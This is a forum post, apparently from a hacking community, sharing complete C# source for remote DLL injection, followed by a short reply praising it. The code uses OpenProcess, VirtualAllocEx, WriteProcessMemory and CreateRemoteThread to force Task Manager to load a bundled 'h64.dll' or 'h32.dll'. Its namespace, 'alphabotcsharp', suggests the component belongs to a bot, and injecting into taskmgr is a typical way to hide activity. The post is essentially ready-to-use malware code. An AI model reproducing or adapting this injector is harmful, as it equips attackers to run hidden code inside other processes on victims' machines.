[C#] dll injection

[Jako]

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace alphabotcsharp
{
    public class Injection
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);

        // privileges
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for memory allocation
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;

        public static bool isInjected = false;
        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool IsWow64Process(
            [In] IntPtr hProcess,
            [Out] out bool wow64Process
        );

        static bool is64BitProcess = (IntPtr.Size == 8);
        static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();

        public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess;
            string dllName = dllPath;

            // the target process
            // geting the handle of the process - with required privileges
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            // searching for the address of LoadLibraryA and storing it in a pointer
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            // name of the dll we want to inject
            // alocating some memory on the target process - enough to store the name of the dll
            // and storing its address in a pointer
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            // writing the name of the dll there
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            // creating a thread that will call LoadLibraryA with allocMemAddress as argument
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
            return 0;
        }

        public static void Execute()
        {
            string rawDLL = String.Empty;
            if(is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "h64.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "h32.dll");
            }
            // Execution of injection
            Process proc = Process.GetProcessesByName("taskmgr")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }
        public static Boolean isInjectedAlready()
        {
            if(isInjected)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
                Environment.OSVersion.Version.Major >= 6)
            {
                using (Process p = Process.GetCurrentProcess())
                {
                    bool retVal;
                    if (!IsWow64Process(p.Handle, out retVal))
                    {
                        return false;
                    }
                    return retVal;
                }
            }
            else
            {
                return false;
            }
        }
    }
}

 

[So7uti0n]

It's good example, and C# is a very useful language for this procedures on Windows Thanks for the share